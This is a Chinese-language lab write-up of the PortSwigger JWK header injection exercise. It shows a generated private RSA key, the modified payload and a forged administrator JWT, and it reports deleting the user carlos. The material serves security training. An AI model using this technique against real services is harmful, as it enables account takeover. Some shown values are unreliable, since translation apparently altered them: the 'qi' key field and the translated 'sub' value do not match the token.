> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-jwk-injection.md).
# 通过 JWK 注入绕过 JWT 身份验证
通过 JWK 注入绕过 JWT 身份验证，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过 JWK 标头注入绕过 JWT 身份验证
**实验描述**
本实验使用基于 JWT 的身份验证机制来管理会话。/ 服务器接受 **`jwk`** 参数，从而允许你直接嵌入用于验证签名的公钥。
然而，实现存在漏洞：服务器 **不会检查所提供的 JWK 密钥是否来自可靠来源**。因此，可以伪造一个使用其自身密钥对签名的令牌。
实验目标：
* 获取对 `/admin` 管理面板
* 删除用户 **carlos**
提供的标识符：
* `wiener:peter`
{% code overflow="wrap" %}
```bash
eyJraWQiOiJjZGJkMzY0YS1hNWNmLTRmOTAtOTk0My1iNzVmYTZkMGMxMWMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0NDY1Niwic3ViIjoid2llbmVyIn0.cRKsz1SMVo7CGKWYqkDlGyOerxLJi2MXfMR79-vM25A8TWM2OGUqaFplZEq0VXd-jy7ZgJnNtz7mbxWZW9kvJBw9wOfTs4PaW5CsOpnm4IO65BvRhS79aluT5Ebn_z1FrexPmG_FMI2qpM2ffSHZmZv_7W0mNEiu0NQzS3oGJJ3aE-wyOhKhHDIlbfjbmYdEON9vx0nXfRAuSVUVVAvq9HySAluVrKlatGDuauoUydtAZFZ6tEiFeCO1J26N_jtnLxmGCOAIRw_1_AVwsMYPUS9qj3DCAKf_MIXaDBCS4xybshAR-c3pfHB0Ph6TiJ_cIc2yme8bVjuDA3PCKM1IEA
```
{% endcode %}
\*\* 初始 JWT 分析\*\*
提供的 JWT 使用 **RS256** 算法，表明它使用的是非对称签名（私钥用于签名，公钥用于验证）。
标头（摘录）：
* `alg`: RS256
* `kid`: 密钥 ID
负载：
* `sub`: wiener
* `iss`: portswigger
* `exp`: 过期时间戳
**生成一对新的 RSA 密钥**
使用 **JWT Editor**，会生成一个新的 RSA 密钥。/ 该密钥包括：
* `n` (模数)
* `e` (指数)
* `d`, `p`, `q`，等等。
* 一个新的 `kid`
这对密钥完全由攻击者控制。
```json
{
"p": "7VxLt3jlCTSdv7prpyICjgt68c3M5u4MplvvN5d3a9MPzVGHy67q-9mtOkTc3iuS-zWf82EEA3TpJuiUEx5HN8mmlWJTwtV3GmOBHj_iaxj2TZEkjKOzEea73xZH87XX1K6snfA6eEK42rYVXpKmV5XGZ-KC2xA0wFAsCwK1rtU",
"kty": "RSA",
"q": "1hu3Bt9xHZD3ROydLWQnjqYsDt19XF0XNpWSdXUSOaI_FWmyliegvgF8CYmS6vP0lHDedi90GgejcTnWQSTQ6c4UGzkO0z5dlz72IIfBo7ZGOtLlQIuBfKFYUPZBPdt-bNKug_ReII7oj9G-AywBTas7NUY0GJRTBzW6BGi-9-E",
"d": "Cqif4xcqhrkU_K_8RIiR4WL9VwzJ4K9hz8JQJx0XyBQrKxM197tEcOPMUeBOff3xnwgilj4bVllaknYZqBfRnc6rw-5JBbjqBpKfuQbev1DXBmx-tMTM49XNXCOj5kU_0ntORgTCRrGrHz9BqWGo1A4D43hk4QH2lW04QU8-fNZCbnhQ20J_LNpPcf1TYclMioVViA7_hoVCq7pEBu4upU-wlF3d5vIPNcKT7_PezJ7XoXklTibCHd8_5GpxlAEVrVmtXn_e4rUVlqgz7YFD2IwIipYS2Niu09BrYcly0p5YYaLFc47uNyqCxyh909i03DUNHQDMSnPN8uLw0Us5IQ",
"e": "AQAB",
"kid": "91a29816-fb22-4e6a-a857-e58aab82febc",
"qi": "JsV1YLq9JkjFGsIwuewdLXp54xYdnUser-Agent1B_Y3Pm-cWAGB7KSg2J913iZvy5X3Wf_barFz7Fl6GU5VM9NqV8-4FLjEJbO2dMYMfzeqzXE21VkVVLV_egRzMj1ULjRNcz7h89NwJ3UkAbS52fCvXlZz5LnGcn84XjLV-QZm4EtNLoo",
"dp": "q6LX5Z34EIYJpACLo9mF-2z1xDBLAJoWb51_B7XxVvjSLmfMSE7-AIvRJZdyFv1vVVPbi8QVgOJjTg1UNdbpLMAWQ2NMqlBtxZk6XsNXWJY-VKylv0UIUeOE6rZT5TkTDuoYTETQIvIsdYrBPRfSTPcy9x_l-75mRsIyduvIsNk",
"dq": "ZrvJqHySNBOY8fNuv5bs_B9zyHYybp0kREakjcNsyUa2ajnbPP0qvcDMmW7vldkUpB08QQ0n8k1z-SI9UeiubWE6eI16NZYZJjdJtfYtzbXqINOMuNm3eeuZCs_-IgYttV2p6xrYB1tK76c-OxtkTLY6pKdY2-pfpHf9F5yC9UE",
"n": "xoTZurTfaq6fa_IHNDTr72cgNt1918ADbf5bTMEUQYwDXUdkYHzbXK_JaVZnJjV7VTsQ41TICA2ZXkhJ7mRXfqp3P-97TINyT_dvxyZzp5Mvp39PKAhqHsneIRD49GN10oCSxED9bplQVNuP7xJnUzMyJN65AQZ2pv2OzF0JViV37m80rvmM2gZRAq_OsZx8UJczaBYo2WAB5q4OQursOnUEv17_Hdv3PyBwkekHYYbjZNqu_g7ltmog53SIRtpXNP4hOTQ78SlrEEDVAw7LQ0TVQ1zA3XgoND-1VFldznY2cgjM56lLpy1oQErqBIllMERCyRMBe-ebMaR893QsNQ"
}
```
**负载修改**
该 `sub` 字段被修改以冒充管理员身份：
```json
{
"iss": "portswigger",
"exp": 1767544656,
"sub": "管理员"
}
```
**将 JWK 注入标头**
在 JWT 的标头中，添加了一个字段 **`jwk`** 。
其中包含与用于签名令牌的私钥相对应的 RSA 公钥。
因此，JWT：
* 声明自己的验证密钥，
* 使用相应的私钥签名，
* 并且在密码学上保持一致。
服务器接受此密钥，而不检查其来源。
**令牌签名**
JWT 使用之前生成的私钥签名。/ 因此该签名有效 **依据嵌入** 在标头中的 JWK 密钥。
{% code overflow="wrap" %}
```bash
eyJraWQiOiI5MWEyOTgxNi1mYjIyLTRlNmEtYTg1Ny1lNThhYWI4MmZlYmMiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsImtpZCI6IjkxYTI5ODE2LWZiMjItNGU2YS1hODU3LWU1OGFhYjgyZmViYyIsIm4iOiJ4b1RadXJUZmFxNmZhX0lITkRUcjcyY2dOdDE5MThBRGJmNWJUTUVVUVl3RFhVZGtZSHpiWEtfSmFWWm5KalY3VlRzUTQxVElDQTJaWGtoSjdtUlhmcXAzUC05N1RJTnlUX2R2eHlaenA1TXZwMzlQS0FocUhzbmVJUkQ0OUdOMTBvQ1N4RUQ5YnBsUVZOdVA3eEpuVXpNeUpONjVBUVoycHYyT3pGMEpWaVYzN204MHJ2bU0yZ1pSQXFfT3NaeDhVSmN6YUJZbzJXQUI1cTRPUXVyc09uVUV2MTdfSGR2M1B5QndrZWtIWVlialpOcXVfZzdsdG1vZzUzU0lSdHBYTlA0aE9UUTc4U2xyRUVEVkF3N0xRMFRWUTF6QTNYZ29ORC0xVkZsZHpuWTJjZ2pNNTZsTHB5MW9RRXJxQklsbE1FUkN5Uk1CZS1lYk1hUjg5M1FzTlEifX0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0NDY1Niwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JIAolQZDPvtAL91fLvyuYGjz8CKi1S8vntwWZLdeaa92tb8fWl2ZAg1W5jHR5xqcFDQHDXiAreCt2N60FHpGVB3XM5Goddbn7H3rC_xNYcHLzi8uj4HvwnJfPsFQY5COJAGbAGvN0Df3nSRZXM25RA3tlEHtI16GOFGiLTKFjypoV9Y1sMoF6Uf3J7TFxq-l3c8agzWLOxvbHUgyKlM42aT4Ac12PeDd8cyMbcquDfrsQRlpYJWG215hkNN8LNYiZJd0mhP__YmMj6uFIB2gNdhZnIteGdguzcZWWv5008xhy2E8cHEDkvqExb6aVTtbWcP8zDhXbHYSUu-l59cLXQ
```
{% endcode %}
**结果**
服务器接受伪造的 JWT。/ 对 `/admin` 面板的访问被授予管理员权限。
用户 **carlos** 随后可以删除，这验证了实验
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